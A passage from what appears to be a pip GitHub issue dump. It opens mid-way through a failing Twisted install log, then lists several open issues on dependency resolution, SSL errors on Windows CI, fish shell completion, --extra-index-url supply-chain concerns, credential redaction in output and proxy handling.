         cwd: /tmp/pip-install-0hw4x1jt/twisted_16f46140f26648a2b2f1e4fb26738fc1/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_16f46140f26648a2b2f1e4fb26738fc1/setup.py", line 89                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/0c/3e/55d4812013c740c5b9bef073e73286558e1c7b07443f3ff4759f888e1782/Twisted-12.1.0.tar.bz2#sha256=033339af16463069413bc916a9d2d72eb13ed6da6c9b24da2aa630cd437b1cf5 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-12.0.0.tar.bz2 (2.8 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_a4baab3373b442278dcbb3bd8bb7e512/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_a4baab3373b442278dcbb3bd8bb7e512/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-6mt6o6n2                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_a4baab3373b442278dcbb3bd8bb7e512/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_a4baab3373b442278dcbb3bd8bb7e512/setup.py", line 89                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/04/6f/ff8d5b822bed8d7fc23518e71d1d3eb70e0f348a4045e48a52258bd29493/Twisted-12.0.0.tar.bz2#sha256=e5561c9714583fd052ea9e0b10331609a719b3878f9d2593e4c57eab0ba0effd (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-11.1.0.tar.bz2 (2.8 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_aaf3153ff2134b1c8d47d7e3f056a677/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_aaf3153ff2134b1c8d47d7e3f056a677/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-stxczdb2                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_aaf3153ff2134b1c8d47d7e3f056a677/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_aaf3153ff2134b1c8d47d7e3f056a677/setup.py", line 90                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/c7/82/c71021c15625960e11b32cdba7c93bf9cdf79b9fe4f0a2dcde3a97ffcad3/Twisted-11.1.0.tar.bz2#sha256=7fbb4529aaa3547708bb0a84377107db1e6ae7a6a9940bb8d8b05976c2754f15 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-11.0.0.tar.bz2 (2.7 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_5ad7f06d51ea416ead64d7920b0e12ad/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_5ad7f06d51ea416ead64d7920b0e12ad/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-1q_ylg2f                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_5ad7f06d51ea416ead64d7920b0e12ad/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_5ad7f06d51ea416ead64d7920b0e12ad/setup.py", line 89                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/a1/78/179889e5cdb8f887595bc714dc277aff6ab46029ded5595098420aed7613/Twisted-11.0.0.tar.bz2#sha256=dd91254a4c946f51c4248590ca31b496ad3e4fd1b5a9fbc3a82c39a41131a2e2 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-10.2.0.tar.bz2 (2.7 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_c561d7425d3142c49072f052f4c95c23/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_c561d7425d3142c49072f052f4c95c23/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-bygxgexo                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_c561d7425d3142c49072f052f4c95c23/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_c561d7425d3142c49072f052f4c95c23/setup.py", line 84                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/f9/80/50b40d787ee26af3062eb83b9a57fa3bdb5e0417f6a3047fffdbd09de6d9/Twisted-10.2.0.tar.bz2#sha256=562ed61c18aa72da99c23fb19c2c101d178995eb3a78ab3c09560a613e180c84 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-10.1.0.tar.bz2 (2.6 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_0c4aa198e02c4efaa01cd16d8f73541a/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_0c4aa198e02c4efaa01cd16d8f73541a/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-w6m0cjzi                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_0c4aa198e02c4efaa01cd16d8f73541a/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_0c4aa198e02c4efaa01cd16d8f73541a/setup.py", line 84                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/00/ea/6e50396d390aedf4af6e5ceff74a8885ae0bae741c5e22f72e5ec19832ff/Twisted-10.1.0.tar.bz2#sha256=eda6e0e9e5ef6f6c19ab75bcb094f83a12ee25fe589fbcddf946e8a655c8070b (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-10.0.0.tar.bz2 (2.6 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_de2619e11fde4aab84abf13d95ef13e6/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_de2619e11fde4aab84abf13d95ef13e6/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-lik8t1rj                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_de2619e11fde4aab84abf13d95ef13e6/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_de2619e11fde4aab84abf13d95ef13e6/setup.py", line 84                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/a8/17/f425d2160b92f0c9c69964bece02eab4fc8afb45a7d9a6532c07d81d0610/Twisted-10.0.0.tar.bz2#sha256=db118c709989ba3377a989daa7566e430addbd6f187b37c8568269def8be78b1 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.                                                                                                                                                                           
  Using cached Twisted-9.0.0.tar.bz2 (2.5 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_f7122596a4a549aa8a4414357aa0947f/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_f7122596a4a549aa8a4414357aa0947f/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-wuprzx6j                                                                                                                                                                                                            
         cwd: /tmp/pip-install-0hw4x1jt/twisted_f7122596a4a549aa8a4414357aa0947f/                                                                                                                                                                                            
    Complete output (6 lines):                                                                                                                                                                                                                                               
    Traceback (most recent call last):                                                                                                                                                                                                                                       
      File "<string>", line 1, in <module>                                                                                                                                                                                                                                   
      File "/tmp/pip-install-0hw4x1jt/twisted_f7122596a4a549aa8a4414357aa0947f/setup.py", line 84                                                                                                                                                                            
        print """You seem to be running a very old version of setuptools.                                                                                                                                                                                                    
              ^                                                                                                                                                                                                                                                              
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("""You seem to be running a very old version of setuptools.)?                                                                                                                                    
    ----------------------------------------                                                                                                                                                                                                                                 
WARNING: Discarding https://files.pythonhosted.org/packages/3b/b0/c4cafea9ab2e31aa15556eddc151ba987e130cb347b753d991aa2ace768a/Twisted-9.0.0.tar.bz2#sha256=5711c2f70ce415cfd8d47da2e2387fba36df4dfbf59efba4fc0ba2ef889f6ca8 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  Using cached Twisted-2.1.0.tar.bz2 (1.1 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_85968e4cd3024feda72e8ac378eee3ca/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_85968e4cd3024feda72e8ac378eee3ca/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-b8os6nfi
         cwd: /tmp/pip-install-0hw4x1jt/twisted_85968e4cd3024feda72e8ac378eee3ca/
    Complete output (6 lines):
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-install-0hw4x1jt/twisted_85968e4cd3024feda72e8ac378eee3ca/setup.py", line 37
        print "Compiler not found, skipping C extensions."
              ^
    SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Compiler not found, skipping C extensions.")?
    ----------------------------------------
WARNING: Discarding https://files.pythonhosted.org/packages/7d/11/6f06a890249c36076d531c94468b0d250da87ce31c95e71149726b094001/Twisted-2.1.0.tar.bz2#sha256=a34e6fb06797c3de1e2c4037b373e633e7265e336b84a61d4f7ea8a7f0f07579 (from https://pypi.org/simple/twisted/). Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
Collecting PyHamcrest!=1.10.0,>=1.9.0
  Using cached PyHamcrest-2.0.2-py3-none-any.whl (52 kB)
INFO: pip is looking at multiple versions of twisted to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of twisted[http2] to determine which version is compatible with other requirements. This could take a while.
WARNING: twisted 16.3.2 does not provide the extra 'http2'
Requirement already satisfied: setuptools in ./venv/lib/python3.9/site-packages (from zope.interface>=4.4.2->Twisted[http2]) (49.2.1)
Using legacy 'setup.py install' for Twisted, since package 'wheel' is not installed.
Installing collected packages: Twisted, hyperframe, hpack, h2
  Attempting uninstall: Twisted
    Found existing installation: Twisted 21.2.0
    Uninstalling Twisted-21.2.0:
      Successfully uninstalled Twisted-21.2.0
    Running setup.py install for Twisted ... done
  Attempting uninstall: hyperframe
    Found existing installation: hyperframe 5.2.0
    Uninstalling hyperframe-5.2.0:
      Successfully uninstalled hyperframe-5.2.0
  Attempting uninstall: hpack
    Found existing installation: hpack 3.0.0
    Uninstalling hpack-3.0.0:
      Successfully uninstalled hpack-3.0.0
  Attempting uninstall: h2
    Found existing installation: h2 3.2.0
    Uninstalling h2-3.2.0:
      Successfully uninstalled h2-3.2.0
Successfully installed Twisted-16.3.2 h2-4.0.0 hpack-4.0.0 hyperframe-6.0.0
```

**Workaround**

The desired results are obtained if the upper `h2` version limit from `Twisted[http2]`, `<4`, is copied into the command-line level `h2` requirement:

    pip install --upgrade 'Twisted[http2]' 'h2>=3.2.0,<4'

**Additional information**

Based on https://github.com/scrapy/scrapy/pull/5066

user: Gallaecio
labels: C: dependency resolution: About choosing which dependencies to install
state: needs discussion: This needs some more discussion
issue_9733: state: open
title: Azure Windows jobs failing
body: Every (?) `easy_install` call is failing with

```
error: Download error for https://files.pythonhosted.org/[snipped]:
    [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1125)
```

since yesterday (23th March), see #9729 and #9730. The failure is consistent and does not seem to be related to the changes. Is there a recent PyPI or Azure change that broke these? It’s also interesting they don’t fail on Mac and Linux workers, only Windows. Maybe this has something to do with the OpenSSL version?
user: uranusjr
labels: C: automation: Automated checks, CI etc
issue_9727: state: open
title: Fix fish completion when commandline contains multiple commands
body: This changes some of the options passed to "complete", see also
https://fishshell.com/docs/current/cmds/complete.html

The flag --current-process means to only include tokens of the current command,
as delimited by shell metacharacters like ;, & and |, and newlines.

This fixes completion of a command line like
"python && pip <TAB>". Previously we'd run "eval python" (!)

Also, avoid using "eval" if possible since it's usually not necessary in
fish 3.0.0 and later.

Flag --cut-at-cursor means to only include tokens left of the cursor.
It's extremely unusual in fish that completions use anything right of the
cursor to complete. I didn't check pip sources but I doubt it's an exception.

I also used --cut-at-cursor for the current token because it potentially
offers more completions, and fish will filter them anyway.
for example, now it's possible to get completions on a commandline like

	pip uninstall urllb3
			 ^ cursor is here, so "commmandline -tc" is "url"

This correctly completes to "urllib3", because fish uses fuzzy matching.

Fixes https://github.com/fish-shell/fish-shell/issues/7850

user: krobelus
issue_9715: state: open
title: Only pull in files from --extra-index-url if the package exists on --index-url
body: ### What's the problem this feature will solve?

I was thinking if there’s a middle ground for #8606 between *change nothing* (behaviourally, not considering user education issues) and straight out removing `--extra-index-url` (which most seem to disagree with).

From what I can tell, there are two main usages of `--extra-index-url`:

1. To serve files *supplementing* packages publishes the main index. This is the intended usage (and what piwheels is doing).
2. To serve packages *not available* on the main index. This is what we don’t want people to do since it is suspect to supply chain attacks (where the “attacker” may be the users themselves).

So I considered the difference between the two usages and tried to come up with a strategy that keeps the first use case working unchanged, but makes the second fail early so people are directed to other solutions before thinge become dangerous.


### Describe the solution you'd like

Considering the most popular scenario where `--index-url` is set to pypi.org. For `pip install mypackage --extra-index-url=https://myindex`, files listed on `https://myindex/mypackage/` is collected by pip *only* if `https://pypi.org/mypackage/` returns a non-error response with at least one file on the page. In other words, the main index also acts as pip’s “canonical package name registry”, and extra indexes may only add files under names provided by the registry, and cannot register new project names. I think this should cover most legistimate `--extra-index-url` usages (I think).

This will also break most of the inappropriate usages, since those private packages are generally not available on PyPI and won’t be picked up by pip (pip will need to emit a warning saying the project is found but ignored so they don’t think this is a bug). The “natural” response to these people would be to swap the indexes (errornously thinking the index order is significant), and *that* would still break because their private index does not serve PyPI projects. The only way to correctly make their private project installable is to point `--index-url` to an index that contains both PyPI and their private projects—which is our recommended best practice.

The only variant not solved by this design would be if `mypackage` *does* exist on PyPI, and someone relies on `https://myindex` to provide a newer version than PyPI. But people doing this are very likely already fully aware of the possibilities a newer `mypackage` on PyPI will break the workflow (and willing to take the risk). They think they know what they’re doing, so I say whatever, let’s not stop them.


### Additional context

Question for @bennuttall: Does piwheels currently serve projects that does not exist on PyPI? This design would keep everything working if it does not. If it does, would it be difficult to publish them also to PyPI?

user: uranusjr
labels: type: feature request: Request for a new feature
C: finder: PackageFinder and index related code
issue_9709: state: open
title: Pip does not redact passwords when collecting git dependencies
body: ### pip version

21.0.1

### Python version

3.7

### OS

Windows 10, Ubuntu 18

### Additional information

_No response_

### Description

When installing a package with git-based dependencies with credentials, the password is displayed when printing the "Collecting" message. The rest is ok.

### Expected behavior

The password in the URL is always redacted.

### How to Reproduce

1. Create a `setup.py` file containing the following:
```python
from setuptools import setup

setup(
    install_requires="dependency @ git+https://user:secret-token@example.com",
)
```
2. Run `pip install .`
3. You can see the unredacted password ("secret-token") in the messages printed to the console.


### Output

```console
$ pip install .
Defaulting to user installation because normal site-packages is not writeable
Processing /path/to/package
Collecting dependency@ git+https://user:secret-token@example.com
  Cloning https://user:****@example.com to /tmp/pip-install-ighmw36e/dependency

```


### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: tmr232
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_9696: state: open
title: module 'configparser' has no attribute 'RawConfigParser'
body: ### pip version

21.0.1

### Python version

3.8.3

### OS

macOS

### Additional information

conda virtual environment

### Description

Hello,
I created a virtual environment with conda and python 3.8.3 using `conda create --prefix ./venv python==3.8.3` and afterwards I just wanted to use pip to install packages. It seems that something is broken since every package I try to install fails with `AttributeError: module 'configparser' has no attribute 'RawConfigParser'`.
Even when asking for version number with `pip -V` or `pip --version` I got the same error.
Removing pip and reinstalling did not fix it.
pip works with python 3.9.1 but for some package dependencies I have to stick to Python 3.8.3
Any suggest to overcome this issue?

Thank you.

### Expected behavior

_No response_

### How to Reproduce

1. Get package from '...'
2. Then run '...'
3. An error occurs.


### Output

```console

```


### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: kingkaos
labels: project: <downstream>: When the cause/effect is related to redistributors
type: support: User Support
issue_9691: state: open
title: Pip --proxy parameter is not been passed to the request.
body: ### pip version

21.0.1

### Python version

3.8

### OS

Windows 10 / Linux

### Additional information

The problem is easier to see if you are behind a proxy.

### Description

Running pip install package --proxy http://my_proxy DO NOT pass the proxies to requests.Session.request(...).

As far as I could check this problem is there since version 20.2.2 at least. It was unnoticed until now because, before urllib update, it didn't check ssl_certificate so it didn't matter if your scheme was either http or https. Therefore, this bug is partially a root cause for the SSLError in recent versions of pip. Since users don't have the ability to pass the proxy to pip directly. 

### Expected behavior

I would expect that running pip install with --proxy, the proxy set here would be passed to the request, overriding any system configuration. 


### How to Reproduce

1. Start a fresh venv with pip and setuptools only
2. Then set a working proxy using system var. i.e: set https_proxy: http://your_proxy or export https_proxy: http://your_proxy for Linux. 
3. Now run pip passing a fake proxy, i.e: pip install numpy --proxy http://127.0.0.2:80 or pip.main(['install', '--proxy=http://127.0.0.2:80', 'numpy']) for esier debug.
4. You should expect an error when installing, but if you have your proxy set correctly in the system it will NOT fail.

PS: You can also do the inverse process. Set a fake proxy on the system and run pip --proxy using a working one. Now you should get an error. 


### Output

```console

```


### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct

I have already created a post about it [here](https://github.com/pypa/pip/issues/9568#issuecomment-790516875), including a working solution.
user: junqfisica
labels: type: bug: A confirmed bug or unintended behavior
state: blocked: Can not be done until something else is done
project: vendored dependency: Related to a vendored dependency
issue_9683: state: open
title: Resolver error message is misleading when requested extra is only available in incompatible versions
body: ### pip version

21.0.1

### Python version

3.9.2

### OS

Linux

### Additional information

_No response_

### Description

If I try to install a package with the requirements `Authlib==1.0.0a1`, `Flask-Multipass>=0.3.1,<0.4-dev`, `Flask-Multipass-CERN` pip is not able to install it because of `Flask-Multipass-CERN` requiring `Flask-Multipass[authlib]` which in turn
requires `authlib[client]>=0.14.1,<1.0`.

However, since `Version('1.0.0a1') < Version('1.0')` succeeds (with the Version class from `packaging`), I would expect the dependency resolution to succeed.

### Expected behavior

The specified packages should be installed.

### How to Reproduce

Create a `setup.cfg` containing this:

```cfg
[metadata]
name = deptest
version = 1.0-dev

[options]
install_requires =
    Authlib==1.0.0a1
    Flask-Multipass>=0.3.1,<0.4-dev
    Flask-Multipass-CERN
```

and a setup.py with

```python
from setuptools import setup
setup()
```

Run `pip install -e .`

### Output

```console
[adrian@claptrap:/tmp/deptest]> pip install -e .
Obtaining file:///tmp/deptest
Collecting Authlib==1.0.0a1
  Using cached Authlib-1.0.0a1-py2.py3-none-any.whl (207 kB)
Collecting Flask-Multipass<0.4-dev,>=0.3.1
  Using cached Flask_Multipass-0.3.3-py2.py3-none-any.whl (38 kB)
Collecting Flask-Multipass-CERN
  Using cached Flask_Multipass_CERN-1.0.dev4-py2.py3-none-any.whl (6.1 kB)
Collecting cryptography<4,>=3.2
  Using cached cryptography-3.4.6-cp36-abi3-manylinux2014_x86_64.whl (3.2 MB)
Collecting cffi>=1.12
  Using cached cffi-1.14.5-cp39-cp39-manylinux1_x86_64.whl (406 kB)
Collecting pycparser
  Using cached pycparser-2.20-py2.py3-none-any.whl (112 kB)
Collecting Flask>=0.10.1
  Using cached Flask-1.1.2-py2.py3-none-any.whl (94 kB)
Collecting blinker
  Using cached blinker-1.4.tar.gz (111 kB)
Collecting Jinja2>=2.10.1
  Using cached Jinja2-2.11.3-py2.py3-none-any.whl (125 kB)
Collecting click>=5.1
  Using cached click-7.1.2-py2.py3-none-any.whl (82 kB)
Collecting itsdangerous>=0.24
  Using cached itsdangerous-1.1.0-py2.py3-none-any.whl (16 kB)
Collecting Werkzeug>=0.15
  Using cached Werkzeug-1.0.1-py2.py3-none-any.whl (298 kB)
Collecting MarkupSafe>=0.23
  Using cached MarkupSafe-1.1.1-cp39-cp39-manylinux2010_x86_64.whl (32 kB)
Collecting authlib[client]<1.0,>=0.14.1
  Using cached Authlib-0.15.3-py2.py3-none-any.whl (203 kB)
  Using cached Authlib-0.15.2-py2.py3-none-any.whl (203 kB)
  Using cached Authlib-0.15.1-py2.py3-none-any.whl (203 kB)
  Using cached Authlib-0.15-py2.py3-none-any.whl (202 kB)
  Using cached Authlib-0.14.3-py2.py3-none-any.whl (215 kB)
  Using cached Authlib-0.14.2-py2.py3-none-any.whl (227 kB)
  Using cached Authlib-0.14.1-py2.py3-none-any.whl (227 kB)
INFO: pip is looking at multiple versions of flask-multipass[authlib] to determine which version is compatible with other requirements. This could take a while.
Collecting flask-multipass[authlib]>=0.3.dev5
  Using cached Flask_Multipass-0.3.2-py2.py3-none-any.whl (38 kB)
  Using cached Flask_Multipass-0.3.1-py2.py3-none-any.whl (38 kB)
  Using cached Flask_Multipass-0.3-py2.py3-none-any.whl (38 kB)
  Using cached Flask_Multipass-0.3.dev5-py2.py3-none-any.whl (38 kB)
INFO: pip is looking at multiple versions of flask-multipass to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of flask-multipass-cern to determine which version is compatible with other requirements. This could take a while.
Collecting Flask-Multipass-CERN
  Using cached Flask_Multipass_CERN-1.0.dev3-py2.py3-none-any.whl (6.0 kB)
  Using cached Flask_Multipass_CERN-1.0.dev2-py2.py3-none-any.whl (5.8 kB)
  Using cached Flask_Multipass_CERN-1.0.dev1-py2.py3-none-any.whl (5.7 kB)
  Using cached Flask_Multipass_CERN-1.0.dev0-py2.py3-none-any.whl (5.8 kB)
INFO: pip is looking at multiple versions of flask-multipass[authlib] to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of flask-multipass to determine which version is compatible with other requirements. This could take a while.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
INFO: pip is looking at multiple versions of blinker to determine which version is compatible with other requirements. This could take a while.
Collecting blinker
  Using cached blinker-1.3.tar.gz (91 kB)
  Using cached blinker-1.2.tar.gz (66 kB)
  Using cached blinker-1.1.zip (79 kB)
  Using cached blinker-1.0.tar.gz (61 kB)
  Using cached blinker-0.9.tar.gz (60 kB)
  Using cached blinker-0.8.tar.gz (9.8 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
INFO: pip is looking at multiple versions of flask-multipass-cern to determine which version is compatible with other requirements. This could take a while.
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. If you want to abort this run, you can press Ctrl + C to do so. To improve how pip performs, tell us what happened here: https://pip.pypa.io/surveys/backtracking
^CERROR: Operation cancelled by user

```


### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: ThiefMaster
labels: type: enhancement: Improvements to functionality
C: dependency resolution: About choosing which dependencies to install
C: error messages: Improving error messages
issue_9679: state: open
title: Fish completion broken for inline env var
body: ### pip version

21.0.1

### Python version

3.9.2

### OS

macOS 11.2

### Additional information

